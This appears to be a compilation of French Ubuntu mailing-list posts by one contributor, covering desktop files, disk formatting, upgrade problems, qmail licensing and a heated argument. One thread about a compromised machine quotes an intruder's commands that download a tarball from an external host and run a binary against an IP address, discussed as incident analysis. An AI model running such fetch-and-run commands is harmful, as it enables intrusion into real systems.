Re: Connaître le nom du progra mme lancé par un menu de Gnome

2009-01-03 Par sujet Patrice Karatchentzeff
Le 2 janvier 2009 11:17, MulX os2m...@gmail.com a écrit :

[...]

 Sinon moi ce que je fais c'est un glisser déposer (Drag'n'Drop) du
 racourci dans la console
 en précisant grep -i Exec lechemindulanceur.desktop
 Comme ça j'ai directement le nom de l'executable, vu que le but c'est
 de le lancer depuis un console après.

C'est bien meilleure que ma méthode car je galérai parfois pour
récupérer le nom du fichier desktop.

Bravo.

PK

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Re: Connaître le nom du progra mme lancé par un menu de Gnome

2009-01-03 Par sujet Patrice Karatchentzeff
2009/1/3 Stephane Bortzmeyer steph...@sources.org:
 On Fri, Jan 02, 2009 at 11:17:08AM +0100,
  MulX os2m...@gmail.com wrote
  a message of 43 lines which said:

 Sinon moi ce que je fais c'est un glisser déposer (Drag'n'Drop) du
 racourci dans la console en précisant grep -i Exec
 lechemindulanceur.desktop

 Là, désolé, mais je ne comprends absolument pas la manip' à faire.

Le drag'n drop donne le nom du fichier .desktop qui est la gnomerie
correspondant au menu. Dans ce fichier, la ligne commençant par Exec
donne le chemin de l'executable.

Le truc fort est que glisser-déposer depuis le menu dans un
gnome-terminal donne ce fichier...

Un bête grep donne ensuite la réponse...

PK

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Re: Connaître le nom du progra mme lancé par un menu de Gnome

2009-01-01 Par sujet Patrice Karatchentzeff
Le 1 janvier 2009 18:47, Stephane Bortzmeyer steph...@sources.org a écrit :

Salut,

 L'année commence mal :-(

Bonne année quand même :)

[]

 Pour la bogue #312931, j'ai trouvé, Préférences - Apparence lance
 gnome-appearance-properties. Mais, en général, comment faire ?

Ce que *je* fais, je traque son entrée dans les menus :

exemple : gcstar

Applications - Bureautique - gcstar

# aptitude search gcstar

i   gcstar   - An application for managing
your movie coll

# dpkg -L gcstar

[]
/usr/share/applications/gcstar.desktop
[]

C'est la gnomerie en question :

#  cat /usr/share/applications/gcstar.desktop
[Desktop Entry]
Version=1.0
Name=GCstar
GenericName=Personal Collections Manager
Comment=Manage your collections of movies, video games, books, music,...
Comment[en]=Manage your collections of movies, video games, books, music,...
Comment[fr]=Gérer vos collections de films, jeux vidéos, livres, musique,...
Exec=gcstar
Icon=/usr/share/pixmaps/gcstar.png
Terminal=false
StartupNotify=true
Type=Application
Categories=Office;AudioVideo;

C'est dans le Exec que tu as ta réponse... ici, c'était facile : quand
c'est un jeu par exemple, c'est impossible de deviner...

UNIX en prend un coup avec ces trucs-là...

PK

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Re: Cache fr.archive.ubuntu chez free ?

2008-05-05 Par sujet Patrice Karatchentzeff
2008/5/5, Christophe Meessen [EMAIL PROTECTED]:

  Petite précision complémentaire.

  Là je suis à 80Ko/s pour la mise à jour à partir de fr.archive...
  Le téléchargement de l'iso du cache de chez free s'est fait à 800 Ko/s.

Il y a un double problème :

- c'est chez Oléane que se trouve le miroir français (donc chez France Telecom)
- la ligne est sous-dimensionnée

Pour le 1), avec la guéguerre Free - FT,  t'es pas près d'avoir une
solution performante entre les deux opérateurs...

Pour le deux, c'est une question de moyen.

Bref, j'ai viré définitivement le miroir fr de chez moi et j'ai
basculé sur le miroir allemand...  rapide, correct, bref carré.

PK


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Re: Questions formation libre boulot d'admin ...

2006-12-29 Par sujet Patrice Karatchentzeff
Le 29/12/06, Lionel Porcheron[EMAIL PROTECTED] a écrit :
 Le vendredi 29 décembre 2006 à 09:05 +0100, Azork a écrit :
  Salut,
 
  Je peux pas vraiment t'aider en ce qui concerne la plupart de tes
  questions, mais étant personnellement en plein dans mes études pour
  devenir ingénieur je peux te certifier quelque chose : les admins
  c'est pas des ingénieurs (ya surment des exceptions pour des réseau
  particulier, ou pour des spécifications sécuritaire ou autre, mais en
  générale, si t'es pas dans une boite qui fait du secret militaire ya
  pas de raison que tu soit ingénieur).
 
  J'espère avoir réussit à t'éclairer un peu.

 Bonjour,

 Etant dans le monde du travail depuis quelques années déjà, je peux pour
 ma part te certifier autre chose : c'est archi faux ce que tu dis !
 (j'en veux pour preuve mon cas personnel ;-)). Il y a des
 administrateurs de tous niveaux d'études dans tous types de structures.

+1

PK

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Imprimante USB et mise-à-jour vers Edgy

2006-11-14 Par sujet Patrice Karatchentzeff
Salut,

J'ai un gros soucis après une mise-à-jour d'une machine vers Edgy.

Le contexte : machine AMD 32 bits sous Ubuntu. Imprimante HP deskjet
6122 USB1 qui fonctionne. J'ai eu une première alerte lors des n-ième
alertes sécurité du noyau qui me l'a mise par terre un jour (le module
usblp n'était plus automatiquement chargé).

Mise à jour vers Edgy : à nouveau par terre.

% lpq
hp_deskjet_6122_USB_1 is ready
no entries

L'interface graphique de GNOME, elle, me dit que l'imprimante est «
buzy » et qu'elle attend 5 secondes pour se se reconnecter.

Le module usblp est chargé. Il n'y a RIEN dans les logs - messages et cups.

Si j'imprime, le truc est envoyé dans la queue et rien ne se passe.

L'imprimante ne renvoie rien et ne réagit même pas. L'imprimante est
bien vu par lsusb.

Le seul truc que j'ai réussi à faire est

1) de forcer l'extraction du module usblp
2) relancer cups
3) l'interface cups de GNOME « voit » alors l'imprimante dispo
4) l'impression d'une page de test remet tout dans l'état décrit plus haut

Désespéré je suis avec les MAJ Ubuntu :( (parce que j'ai eu plein
d'autres soucis... je ne relate que le dernier bloquant)

Une idée ?

Merci d'avance,

PK


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Re: logiciel de gestion de campagnes d'e-mailing

2006-07-18 Par sujet Patrice Karatchentzeff

2006/7/18, Miguel Quaremme [EMAIL PROTECTED]:

Bonjour,

Je cherche un logiciel libre qui aurait les mêmes fonctionnalités que le
programmes emailink express de l'éditeur innomatix.

http://www.innomatix.fr/produits/eml/index.php

Merci pour vos conseils.


n'importe quel MUA est capable de spammer :)

PK

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[ MAJ Dapper ] Lire un CD audio

2006-06-11 Par sujet Patrice Karatchentzeff

Salut,

J'ai quelques petits soucis après la (difficile) MAJ vers Dapper...

La plus embêtante concerne la lecture de CD audio. Depuis la MAJ, il
m'est impossible de lire un CD audio ; aucune application liée ne
s'ouvre et si j'essaie de lire le CD depuis Nautilus, j'obtiens un
superbe :

Impossible d'afficher « cdda:///dev/hdb » (Erreur lors du lancement de
l'application)

Je suis bien avancé avec cela :)

Je n'ai aucune autre trace d'erreur ailleurs et j'ai la même chose sur
les deux lecteurs (avec /dev/hdb sur l'autre bien sûr).

Mon graveur (/dev/hda) fonctionne parfaitement pourtant (testé avec
GnomeBaker et Graveman).

Une idée ?

Merci

PK

PS : bravo la dernière MAJ de sécurité sur gdm... faire un restart en
force en faisant tout péter ne fait pas très sérieux...

PPS : il semblerait que la version de xorg de Dapper soit enfin stable
dans ma config... j'étais prêt à jeter Ubuntu sinon :)

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Re: [ MAJ Dapper ] Lire un CD audio

2006-06-11 Par sujet Patrice Karatchentzeff

2006/6/11, Patrice Karatchentzeff [EMAIL PROTECTED]:

Salut,

J'ai quelques petits soucis après la (difficile) MAJ vers Dapper...

La plus embêtante concerne la lecture de CD audio. Depuis la MAJ, il
m'est impossible de lire un CD audio ; aucune application liée ne
s'ouvre et si j'essaie de lire le CD depuis Nautilus, j'obtiens un
superbe :

Impossible d'afficher « cdda:///dev/hdb » (Erreur lors du lancement de
l'application)


J'ai oublié d'ajouter : si je regarde les propriétés du périphérique
sous Nautilus, j'ai un curieux :

Nom : disque audio
Tout le reste : Inconnu
Type MIME : application octet-stream (!)

Sinon, un autre indice : les permissions de « cdda » ne peuvent être
déterminées.

PK

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Re: [ MAJ Dapper ] Lire un CD audio

2006-06-11 Par sujet Patrice Karatchentzeff

Le 11/06/06, christian[EMAIL PROTECTED] a écrit :

Patrice Karatchentzeff a écrit :


[...]


j'ai la même chose (type MIME, permisions, etc...) mais ça n'empêche pas
de le lire ou de l'extraire...
quand j'accede au disque sous nautilus, il m'ouvre sound-juicer,
je me repete :
peut-être l'application en question n'est pas installée

à voir ici :
Système-Préférences-Disques et médias amovibles
onglet multimédia
et éventuellement changer d'application selon ses gouts


Bon, pour la lecture auto, c'était cela : à la MAJ vers Dapper, il m'a
viré sound-juicer et ne me la pas réinstallé. J'aurai dû le voir venir
: c'est au moins le dixième paquet qui a été viré dans la MAJ sans
réinstallation...

Pas glop la MAJ...

Merci

PK

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Re: [ MAJ Dapper ] Lire un CD audio

2006-06-11 Par sujet Patrice Karatchentzeff

2006/6/11, Patrice Karatchentzeff [EMAIL PROTECTED]:

[...]


Bref, pour le moment, tout cela ne fonctionne pas très bien..

Conseils bienvenus :)


CD HS... donc pas trop grave.

Pour totem, bah, mplayer a toujours mieux fonctionné :)

PK

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Re: [ MAJ Dapper ] Lire un CD audio

2006-06-11 Par sujet Patrice Karatchentzeff

2006/6/11, Claude Paroz [EMAIL PROTECTED]:

Le dimanche 11 juin 2006 à 12:10 +0200, Patrice Karatchentzeff a écrit :


[...]


 Pas glop la MAJ...

Le paquet ubuntu-desktop est presque indispensable pour une bonne mise à
jour. sound-juicer se trouve dans les dépendances de ce méta-paquet.


En effet, il n'était pas installé chez moi.

PK

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Re: Monter un deuxième Disque Dur

2006-04-12 Par sujet Patrice Karatchentzeff
Le 11/04/06, Christophe Gallaire[EMAIL PROTECTED] a écrit :

[...]

 Alors ce que je veux faire: utiliser mon deuxième disque dur comme
 disque de stockage, c'est tout...

Dans ce cas, tu détruis tout, tu fais une seule partition, tu la
formates et c'est fini.

[...]

 Donc voilà, j'ai tout supprimer avec fdisk... normalement tout est vide,
 non ?

oui et a priori, tout est désormais définitivement perdu sur le disque.

 Quand je lance le gestionnaire de disques, il m'indique que mon deuxième
 disque dur contient une partition1 de 186,31 Go ! fdisk lui me donne une
 partition sans nom de 200047,04, ce qui semble bien davantage
 correspondre, m'enfin...

C'est la façon de compter : bienvenue dans l'industrie Pipo  co :
suivant qu'un kilooctet vaut 1024 octets (2^10) ou 1000 (un kilo)...
c'est du marketing.

 Maintenant je veux que ce disque me serve de stockage et rien que ça,
 est-ce possible de le monter sans rien faire ? Je ne crois pas, n'est-ce
 pas ? Alors quel format choisir ?

Si c'est pour de l'archivage pur et dur, ext2 suffit. ext3 est un plus
sans vraiment d'avantages supplémentaires.

 Avec fdisk, il me demande si je veux une partition primaire ou
 logique... heu... à lire ceci :

C'est historique et on traine cela comme un boulet... bienvenue dans
l'informatique... prends une primaire et oublie le reste : dans ton
cas, tu t'en fous.

[...]

 Mais doit-elle être amorçable ? À lire ceci, elle ne doit pas l'être :

Pour faire de la sauvegarde, pas besoin.

[...]

 Et maintenant, le formatage...

 sudo mkfs.ext3 /dev/hdb1

 Normalement, il ne me reste plus qu'à monter cette partition, non ?

oui

PK

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Re: Monter un deuxième Disque Dur

2006-04-12 Par sujet Patrice Karatchentzeff
Le 12/04/06, Tchize[EMAIL PROTECTED] a écrit :

[...]

 La reiserfs de son coté a l'avantage de pas te faire chier à faire un
 check disque pendant 5 minutes au redémarrage après un arrêt brutal du
 système (un check disk reiserfs sur une partition de 120G prend +-
 2secondes chez moi après un arrachage brutal de cable en lieu et place
 d'arrêt du système)

Dans ce cas, tu mets du ext3 et tu as la même chose :)

PK

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Re: Monter un deuxième Disque Dur

2006-04-12 Par sujet Patrice Karatchentzeff
Le 12/04/06, Tchize[EMAIL PROTECTED] a écrit :

[...]

 J'ai une ext3 au bureau (pas eu le choix, j'avais rien d'autre qui
 supportait ma carte réseau qu'un cd d'install debian ext3 à l'époque),
 37G, elle met plus de 2 minutes pour faire son check disk! C'est pénible
 le matin :)

tu condonds deux choses...

1) le fsck (ce que tu appelles le check disk) qui est long à faire et
d'autant plus long que le disque est gros et rempli

2) la reconstruction du journal après un arrêt sans sync (arrêt brutal).

Le 1) n'est à faire qu'occasionnellement (je crois que c'est réglé à
30 par défaut sous Ubuntu) au démarrage. Perdre 2 minutes tous les 30
jours est négligeable :) si tu le fais tous les matins, ta machine est
mal réglée.

Le 2) est quasi instantanée au démarrage (c'est l'intérêt d'un système
de fichiers journalisés).

PK

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Re: Lancer un programme en console depuis KDE

2006-04-12 Par sujet Patrice Karatchentzeff
2006/4/12, Danilo Uccelli [EMAIL PROTECTED]:
 Bonjour la liste,

  Quelqu'un sait comment modifier une position de menu dans KDE de façon à
 que quand on lance une application en console, celle-ci reste ouverte après
 l'exécution du programme.

  Si je place un programme, qui est un pur programme en ligne de commande,
 dans un menu KDE, il s'exécute bien quand je click sur cette position, mais
 la console se ferme dès la fin de l'exécution, et avec ça on ne peut pas
 voir si tout s'est bien passé ou simplement lire le résultat.
  Je voudrais que la console reste ouverte. Je n'arrive pas à trouver le
 switch ou l'astuce pour que ça reste ouvert.

Tu lances ton programme avec

% kconsole -e 'mon programme'

Ce n'est pas spécifique à konsole ni KDE.

PK

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Re: Monter un deuxième Disque Dur

2006-04-11 Par sujet Patrice Karatchentzeff
2006/4/11, Christophe Gallaire [EMAIL PROTECTED]:
 Ta question n'était pas idiote je ne l'avais pas fait. Le disque est
 bien visible mais impossible de monter hdb1 RRrr !

 J'ai réussi sans mal à monter deux partitions de windows sur mon autre
 machine et là ça m***e grave !

 Comment formater le plus proprement possible ce disque ?

 Si je veux monter cette partition sur /mnt :

 1. je crée un répertoire : sudo mkdir /mnt/backup
 2. J'entre le chemin dans fstab :
 /dev/hdb1 /mnt/backup  ext3  rw,auto,mode=0755  0  0
 3. je monte le volume (la partition): mount -a
 Et :  mount: wrong fs type, bad option, bad superblock on /dev/hdb1,
missing codepage or other error
In some cases useful info is found in syslog - try
dmesg | tail  or so

 Je vais tout effacer, tout... je vide et je recommence...

 Si vous voyez une erreur dans la procédure n'hésitez pas !

 Comment le nettoyer et le repartionner proprement ?

Tu mélanges tout allègrement.

On ne peut mounter qu'un système de fichier. Si le périphérique que tu
tentes de mounter n'en a pas ou que ce n'est pas le bon, cela ne
fonctionne pas.

Ici, tu tentes de mounter un système ayant un système de fichier ext3
sur la première partition du disque hdb (le disque esclave de la
première nappe IDE donc).

Or, est-ce le cas ?

Pour le savoir, en root, tu fais

# cfdisk /dev/hdb

Normalement, il te liste les partitions et ce qu'il y a dessus.

À partir de là, tu pourras repartir sur de bonnes bases.

Enfin, si tu veux détruire tout ton disque pour le reformater, il te
faut relancer fdisk, détruire les partitions existantes, créer la ou
les partitions que tu veux avec le bon type (ext3 dans ton cas) puis
sauvegarder tout cela sous (c)fdisk et enfin formater avec le bon
utilitaire (mkfs.ext3 dans ton cas pour ext3) sur chaque partition que
tu voudras.

PK

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Re: Sécurité Compromise dans UBUNTU dapper ???

2006-03-28 Par sujet Patrice Karatchentzeff
Le 28/03/06, Free Mind[EMAIL PROTECTED] a écrit :
 On 3/27/06, L. Boggio [EMAIL PROTECTED] wrote:

[...]

  Bon, désolé, mais avec ces 2 lignes :
 
  wget http://rooot.xhost.ro/fld.tgz
  et
  ./x 200.68.192.253 53 0
 
  On a la preuve qu'il a téléchargé un programme et qu'il l'a exécuté,
  donc, tu ne peux pas savoir ce qu'il a fait.
  De ce fait, tu ne peux plus rien croire dans ta machine : LS a pu être
  remplécé, PS a pu être remplacé, etc...
  Si tu es parano et/ou que tu as des choses sensibles, la SEULE solution
  sure est la réinstallation après formatage de ta machine :(



 Je pense que je l'ai interrompu et qu'il était au début du processus et en
 effet, les scripts sont lisibles... donc je vais plutôt tenter d'analyser ce
 qu'il y a la dedans.

Je suis allé zieuté les scripts des sites aimablements laissés en
ligne par le crétin en question. Pour le moment, il n'a pas l'air
d'avoir eu le temps de faire quelque chose.

**MAIS** rien ne t'assure qu'il ne s'agit pas d'un hameçon laissé là
pour te faire croire autre chose. Si le gars est vicieux, il peut très
bien avoir transformé ton history - et les traces ad hoc - pour
laisser croire qu'il n'a pas eu le temps de faire quelque chose.

La **SEULE** solution sure est de réinstaller la machine (mais rien ne
t'empêche de jouer avec pour tenter de remonter la piste);

La sécurité, c'est être paranoïaque.

PK

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Re: Sécurité Compromise dans UBUNTU dapper ???

2006-03-28 Par sujet Patrice Karatchentzeff
Le 28/03/06, Franck Dassonville[EMAIL PROTECTED] a écrit :
  Le 28/03/06, [EMAIL PROTECTED] a écrit :

  La **SEULE** solution sure est de réinstaller la machine (mais rien ne
  t'empêche de jouer avec pour tenter de remonter la piste);
 
  La sécurité, c'est être paranoïaque.
 
 pas besoin d'aller jusque là tout de suite ..

 apt-get install chkrootkit
 puis
 chkrootkit

 devrait pouvoir rassurer ... ou confirmer le besion de réinstallation 

Pas tout à fait : c'est UN moyen de vérification mais comme dit la
simple description du paquet :

Please note that this is not a definitive test, it does not ensure that the
target has not been cracked. In addition to running chkrootkit, one should
perform more specific tests.

Une machine craquée est non sure.

PK

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Re: Sécurité Compromise dans UBUNTU dapper ???

2006-03-28 Par sujet Patrice Karatchentzeff
Le 28/03/06, florian fery-chamboissier[EMAIL PROTECTED] a écrit :
 Salut à tous !
 Curieux que je suis, je viens donc de tester chkrootkit sur ma machine et
 j'ai un port infecté  avec ce message :

 Checking `bindshell'... INFECTED (PORTS:  4000)
 C'est grave docteur ? :)

oui, t'es un vilain pirate qui copie indument le bien d'autrui :)

% cat /usr/share/doc/chkrootkit/README.FALSE-POSITIVES | grep 4000

PK

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Re: contre verité comme idée recue (was R e: Xgl (Le futur du bureau Linux ?) )

2006-02-27 Par sujet Patrice Karatchentzeff
Le 26/02/06, Samuel Mouniée[EMAIL PROTECTED] a écrit :

[...]

 je vais me permettre de rétorquer avec cette question : comment GCC
 arrive à garder son marché avec un compilo-qui-marche-pas ?

Mouarf... dans le genre raccourci à deux balles... Mais c'est une
habitude de macounet :)

 Outre, la definition de qui-marche-pas qui peut dans ces deux cas
 se remplacer sans hesitation par qui-ne-me-satisfait-pas , il y a
 un point important à noter : la notoriété pour le nouveau venu.

Tiens, déjà on nuance un peu... gcc est LE compilateur par excellence,
celui qui a pour vocation de fonctionner sur TOUTES les architectures
du monde...

Il n'a pas vraiment de concurrents...

[...]

 donc GCC est partout, pourtant on sait qu'il existe un compilateur
 plus efficace, clairement optimisé, et tout le toutim ... pourtant

« On » raconte beaucoup de conneries quand on sort les choses de leurs
contextes... c'est ce que l'on appelle du FUD.

gcc est le compilateur multiplateforme par excellence. Pour obtenir
cette incroyable - et quasi unique - performance, il faut (un peu)
sacrifier les performances (mais les dernières versions de gcc gomment
un peu ce « retard »)).

 presque personne ne l'utilise. il est portable et a plein de
 fonctionnalité rigolotes dont la possibilité de faire un #!/usr/bin/
 tcc dans le code source pour qu'il s'execute comme si c'était un
 script a la con. A coté de cela, GCC n'est pas à la pointe puisqu'il
 n'utilise pas automatiquement les couches SIMD existant depuis
 quelques lustres déjà . Pourtant GCC reste la référence.

Et oui, dis comme cela... tcc ne compile que du x86... alors, ton tcc,
sur du Sparc, du Mips, du PowerPC (tu sais, le machin dans ton Mac qui
va être remplacé par du x86), du ARM (etc. il y en pléthore), il est
INFINIMENT moins performant que gcc...

 GCC a connu un fork EGCS qui a failli couté la vie du projet GCC .

Tu devrais remplacer Bellemarre pour raconter des histoires

 l'équipe de EGCS a fait la connerie de réintégrer leur projet au
 tronc de GCC, quand les devs de GCC sont venu les supplier a genoux
 d'arreter de les humilier au niveau des perfs ( je romance un peu ).

Un peu ?

 On ne peut pas dire que X.org fork de XFree fork de XFree86 fork de
 X386 ne soit pas non plus un garant de grande performance graphique
 sur un systeme unix , pourtant personne ne regarde les alternatives.

Encore du FUD à deux balles... X, version 11 est l'aboutissement de
plus de 20 ans de graphisme dans le monde UNIX, apportant une
stabilité de l'API graphique pendant 20 ans : aucun OS n'a proposé
cela.

Et le pire : c'est que rien n'est coulé dans le bronze puisque,
manifestement, l'héritier de X11, sans renoncer à son héritage,
offrirera la plus puissante interface graphique du monde actuelle avec
XGL (et/ou son dérivée).

Alors, les FUD sur les performances...

[...]

 Apache1 qui reste encore très utilisé n'est pas un fleuron des
 performances techniques du libre ... n'importe quelle configuration
 moisie pour Apache2 humilie un Apache1 optimisé ( dans la mesure ou
 les conf fournisse les memes choses de manieres similaires sinon cela
 n'a aucun sens ;) ).

C'est vraiment n'importe quoi...

Tiens, on peut faire tourner un 386 avec 4 Mo et un noyau Linux 1.2...
On ne peut plus avec un 2.6 (sans l'atomiser). Conclusion : le noyau
2.6 est tout moisie...

PK

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Re: [inutile] Re: contre verité comme i dée recue

2006-02-27 Par sujet Patrice Karatchentzeff
Le 27/02/06, Samuel Mouniée[EMAIL PROTECTED] a écrit :

 Le 27 févr. 06 à 10:32, Patrice Karatchentzeff a écrit :

[...]

 Comme la distribution Debian qui est tellement faite pour fonctionner
 partout qu'elle fonctionne de moins en moins ? Heureusement que
 Ubuntu est là pour sauver le bateau sinon il se serait effondrer
 comme un trou noir logiciel d'où une release a de plus en plus de
 difficulté à s'échapper ( moi aussi je sais attaquer )

Tiens, *exactement*  le même FUD... Ubuntu n'est à l'heure actuelle
disponible que sur un nombre très réduit d'architectures...

Marrant, non ? à moins que cela ne soit de la persévérance...

  [GCC] n'a pas vraiment de concurrents...

 cela me fait penser à un superbe commentaire sur slashdot :
 cela existait déjà dans GCC depuis 10ans mais personne n'a écrit de
 doc pour que cela soit utilisé et personne ne compte le faire
 prochainement.

et ? Tu ne réponds à rien, hein...

[...]

  Alors, les FUD sur les performances...

[...]

 je prefere juste te dire que si tu réponds à n'importe qui comme
 cela, tu risques un jour de tomber sur un os. je ne tiens pas à être
 cet os, par contre, j'apprécierai une réponse constructive et non pas
 un galimatia d'assertion saupudré de haine contenu parce que je me
 permet d'afficher une opinion autre que la tienne.

Du FUD reste du FUD : cela a pour but de jeter le trouble (genre la
GPL est virale) dans l'esprit des gens qui ne sont pas bien informés
(ou qui n'ont pas les moyens de le faire).

Bref, au lieu de FUD(er), argumente *vraiment*. J'ai démoli tes
(pseudo) arguments car c'était du FUD. Maintenant, n'hésite pas à
contre-argumenter surtout... L'espace est public et personne ne te
brime, sauf dans ton esprit.

 j'ai lu quelque part [1] :

[ snip les délires à base de galimatia d'assertion saupudré de haine contenu ]

 Es tu de ces seigneurs qui gouverne cette liste ?

oui, avec un A... on m'a intronisé  récemment Grand Commandeur de La
Banane Dorée avec un Héron à Plume de Soie : c'est dire l'étendue de
la Reconnaissance Étendue de la Communauté !

[...]

 Mais au moins, as tu compris ce que je disais ?
 sais tu pourquoi je disais cela ?

J'ai l'impression que tu as du mal...

[...]

 Encore une fois, je suis un vilain macounet incompetent n'est ce
 pas ? D'ailleurs, je ne sais meme pas ce qu'est linux a vrai dire et
 je ne suis qu'un troll velu qui fomente un complot contre Ubuntu et
 surtout contre toi, et ce depuis 13 ans en faisant semblant de savoir
 ce qu'est linux, le libre et tout les trucs nul qui vont avec.

et ? Le concours de la plus grosse maintenant ?

 la bêtise a fait brûler les chats qui chassaient les rats pestiférés,
 brûler les livres qui instruisaient, fait dire que la moralité et la
 foi protège du SIDA, ...

Allez,, zou, encore un p'tit effort et je sens que tu vas décrocher un
joli point Godwin...

PK

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Re: serveur dédié QMail...

2006-02-22 Par sujet Patrice Karatchentzeff
Le 22/02/06, [EMAIL PROTECTED][EMAIL PROTECTED] a écrit :

[...]

 C'est distribuer le source d'origine patché qui est interdit.

 Ca ne suffit pas à en faire un logiciel non libre il me semble non ?
 Ou me goure je?

Tu te gourres-je bien...

Cela viole le principe de modification/redistribution. La licence est
certes « moins pire » qu'un logiciel complètement fermé mais la
définition d'un logiciel libre n'est pas discutable :

http://fr.wikipedia.org/wiki/Logiciel_libre

PK

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Re: serveur dédié QMail...

2006-02-22 Par sujet Patrice Karatchentzeff
Le 22/02/06, Daniel C[EMAIL PROTECTED] a écrit :
 Patrice Karatchentzeff wrote:
  Ce n'est donc PAS un logiciel libre. Le logiciel libre a une licence
  spécifique qui vérifie les QUATRE libertés fondamentales. On peut
  tortiller des fesses autant que l'on voudra, si les quatre libertés ne
  sont pas respectés, le logiciel n'est pas libre.

 * la liberté d'exécuter le programme, pour tous les usages (liberté 0) ;
 * la liberté d'étudier le fonctionnement du programme, et de l'adapter à
 ses besoins (liberté 1) ; pour cela, l'accès au code source est nécessaire ;
 * la liberté de redistribuer des copies, donc d'aider son voisin
 (liberté 2) ;

Cette liberté est violée en obligeant un seul format de redistribution
(les sources) plutôt que le binaire.

La problématique est la même pour pine par exemple.

 * la liberté d'améliorer le programme et de publier ses améliorations,
 pour en faire profiter toute la communauté (liberté 3) ; pour cela,
 l'accès au code source est nécessaire.

 Qmail respecte ces 4 libertés non ?

non

 C'est le fait d'obliger à distribuer ses modifs sous forme de patch qui
 violerait la liberté 2 ?
 D'interdire la redistribution binaire et de n'autoriser que la
 redistribution de source ? Ca parait pourtant partir d'une intention
 assez libre justement (en dehors du source point de salut et point de
 sécu).

Ces deux points sont bloquants en effet : un logiciel libre, tu en
fais ce que tu veux (du moment que la licence ne change pas). Si à un
moment du processus, tu as un blocage - même léger - quand tu veux

- modifier le logiciel
- redistribuer le logiciel (modifiées ou pas)

alors, le logiciel n'est pas libre.

Cela ne veut pas dire que qmail est à mettre sur le même plan que IE
par exemple. Il n'empêche que pour un logciel soit libre, il faut
qu'il entre dans un carcan très précis.

 Désolé pour ces question surement naïves, je sais que le sujet a déjà
 fait couler beaucoup d'encre (et je n'ai pas pris la peine de lire tout
 ça, me disant que c'était une querelle de puristes, du même tonneau que
 les querelles GPL/BSD) et ce n'est probablement pas la peine d'en
 ajouter ici.

Cela n'a rien à voir. GPL ou BSD sont des licences libres. Préférer
l'une ou l'autre est affaire de goût.

Par contre, la position d'une licence libre ou pas n'est pas une
affaire de purisme : un logiciel est libre ou ne l'est pas. C'est le
cœur même du fonctionnement de Debian (et donc, ipso facto, d'Ubuntu).

Voilà, pas de troll donc : juste une mise au point.

PK

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Re: serveur dédié QMail...

2006-02-22 Par sujet Patrice Karatchentzeff
Le 22/02/06, Daniel C[EMAIL PROTECTED] a écrit :

[...]

 Qmail est open-source, avec une licence à lui, mais qui autorise les
 modifs et la redistribution sans royalties, etc... C'est juste la
 redistribution de binaire qui n'est pas autorisée.

Ce n'est donc PAS un logiciel libre. Le logiciel libre a une licence
spécifique qui vérifie les QUATRE libertés fondamentales. On peut
tortiller des fesses autant que l'on voudra, si les quatre libertés ne
sont pas respectés, le logiciel n'est pas libre.

 Si on va part là, on trouve aussi des discours qui argumentent pour dire
 que la licence GPL n'est pas libre (seule la BSD le serait)...

Rien à voir et changement de troll : il s'agit ici de « degré dans la
liberté », c'est-à-dire une tentative de savoir qui - lorsque le
logiciel est dit libre - est plus libre que l'autre... Rien à voir
avec le point précédent.

PK

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Re: serveur dédié QMail...

2006-02-21 Par sujet Patrice Karatchentzeff
Le 21/02/06, Free Mind[EMAIL PROTECTED] a écrit :

[...]

  J'utilise actuellement un serveur Debian dédié à mes mails (et je suis très
 satisfait j'avoues):

Alors, pourquoi changer ? L'adage d'un admin est toujours de ne rien
toucher ce qui fonctionne parfaitement... AMHA, si tu bricoles pour le
plaisir de bricoler, tu vas au devant de problème, surtout sur un
serveur en prod...

[...]

  Je ne veux pas changer QMail c'est assuré!

  Je vais bientôt installer un nouveau serveur plus puissant.

Admettons que cela soit la raison du changement...

  1) Devrai-je en profiter pour passer à Ubuntu dans ce cas précis?

Si tu te poses la question, alors non. Ta Debian est bien configurée,
elle t'assure le service. Sur un serveur, Ubuntu ne t'apportera rien
de plus...

  2) Je veux absolument demeurer avec Qmail.  Est-il aussi bien gérer que
 sous Debian?  apt-cache show qmail ou qmail-src me donne rien :(  Je n'ai
 pas vraiment le goût de l'installer à bras.

% s qmail | egrep ^qmail
qmail-qfilter - qmail-queue filter front end
qmailanalog-installer - Installer package for building qmailanalog
binary package
qmailmrtg7 - qmail mrtg graph generator

donc, tout est dispo sous Ubuntu (sous Universe/Multiverse je suppose).

Tiens, en 2 s, sous Google :

http://mirror.arcticnetwork.ca/pub/ubuntu/packages/pool/multiverse/q/qmail/

T'as pas dû trop chercher...

  3) Existe-t-il mieux que spamassassin maintenant qui est très lourd au
 niveau ressources?

J'utilise bogofilter à titre perso. Je n'ai aucune idée de ce que cela
peut donner sur un serveur de prod...

[...]

  SVP, dans vos réponses, veuillez aussi me les justifier ou me dire les
 avantages etc.  L'idée étant de profiter du fait que je vais de toute façon
 monter un nouveau serveur pour peut-être améliorer le tout...  Aussi, pas de
 guerre de religion autour de QMail.. je tiens à demeurer en QMail, le reste
 je suis ouvert aux suggestions.

Je veux bien des conseils mais je m'en fous : je garderai qmail...
bizarre, non ? De toute façon, utiliser un truc non libre et demander
des conseils auprès de gens qui n'utilisent que du libre, tu t'attends
à quoi ? Que t'apporte QMail que ne t'offrent pas Postfix et Exim (qui
eux, sont libres) ?

PK

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Re: xorg prend jusqu'a 100 % de mon CPU

2006-01-23 Par sujet Patrice Karatchentzeff
Le 23/01/06, moup.moup[EMAIL PROTECTED] a écrit :
 Bonjour,

 quelqu'un aurai-t'il une solution, xorg m'occupe jusqu' a 100 % de mon
 processeur !

 l'affichage des fenêtres devient extrement lent.

 Je suis sous Breezy avec une config AMD Athlon 1800 et 768 Mo de ram et
 un DD de 60 Go.

 cela se passe après une heure ou deux avec amule en action.

 Quelqu'un a eu le problème et la solution ?

oui, c'est amule, pas X.org. Tu tue amule et tu le relances.

PK

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Re: Gel complet d'une machine après amorç age

2006-01-02 Par sujet Patrice Karatchentzeff
Le 01/01/06, Patrice Karatchentzeff[EMAIL PROTECTED] a écrit :

[...]

 L'installation est tout fraîche (dimanche dernier). Depuis, la machine
 a commencé à géler après quelques heures d'utilisation. Maintenant,
 c'est pratiquement à la fin de l'amorçage : dans le meilleur des cas,
 on peut se logguer puis la machine se fige : plus de souris, plus de
 clavier : reboot hard obligatoire.

 Le noyau : 2.6.12-9 et 10. Même symptôme pour les deux.

 J'ai tenté de (faire) passer les options suivantes (avec toutes les
 combinaisons possibles) :

 apm=off acpi=off pci=noacpi

 dans le meilleur des cas, j'ai le même résultat : dans les autres, je
 n'amorce pas ou pas loin (problème de detection du disque).

Bon, je vais me faire envoyer la bête : cela va me coûter les yeux de la tête :(

